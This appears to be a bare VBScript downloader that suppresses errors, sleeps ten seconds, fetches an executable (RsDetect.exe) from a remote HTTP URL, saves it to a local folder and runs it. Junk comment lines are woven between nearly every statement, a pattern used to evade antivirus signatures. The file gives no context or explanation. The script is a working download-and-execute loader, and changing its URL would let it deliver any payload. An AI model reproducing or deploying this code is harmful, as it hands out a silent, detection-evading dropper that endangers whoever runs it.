on error resume next
Set ws = CreateObject("Wscript.Shell") 
iLocal = LCase("d:\wait\RsDetect.exe"):iRemote = LCase("http://download.rising.com.cn/for_down/RsDetect.exe")
'if 1=2 then Wscript.echo "Impossible!"
wscript.sleep 10000
'if 1=2 then Wscript.echo "Impossible!"
Set xPost = CreateObject("Microsoft.XMLHTTP")  
'if 1=2 then Wscript.echo "Impossible!"
xPost.Open "GET",iRemote,0 
'if 1=2 then Wscript.echo "Impossible!"
xPost.Send()  
'if 1=2 then Wscript.echo "Impossible!"
Set sGet = CreateObject("ADODB.Stream") 
'if 1=2 then Wscript.echo "Impossible!"
sGet.Mode = 3 
'if 1=2 then Wscript.echo "Impossible!"
sGet.Type = 1  
'if 1=2 then Wscript.echo "Impossible!"
sGet.Open()  
'if 1=2 then Wscript.echo "Impossible!"
sGet.Write(xPost.responseBody)  
'if 1=2 then Wscript.echo "Impossible!"
sGet.SaveToFile iLocal,2 
'if 1=2 then Wscript.echo "Impossible!"
Set Runner=CreateObject("Wscript.Shell")
'if 1=2 then Wscript.echo "Impossible!"
Runner.run iLocal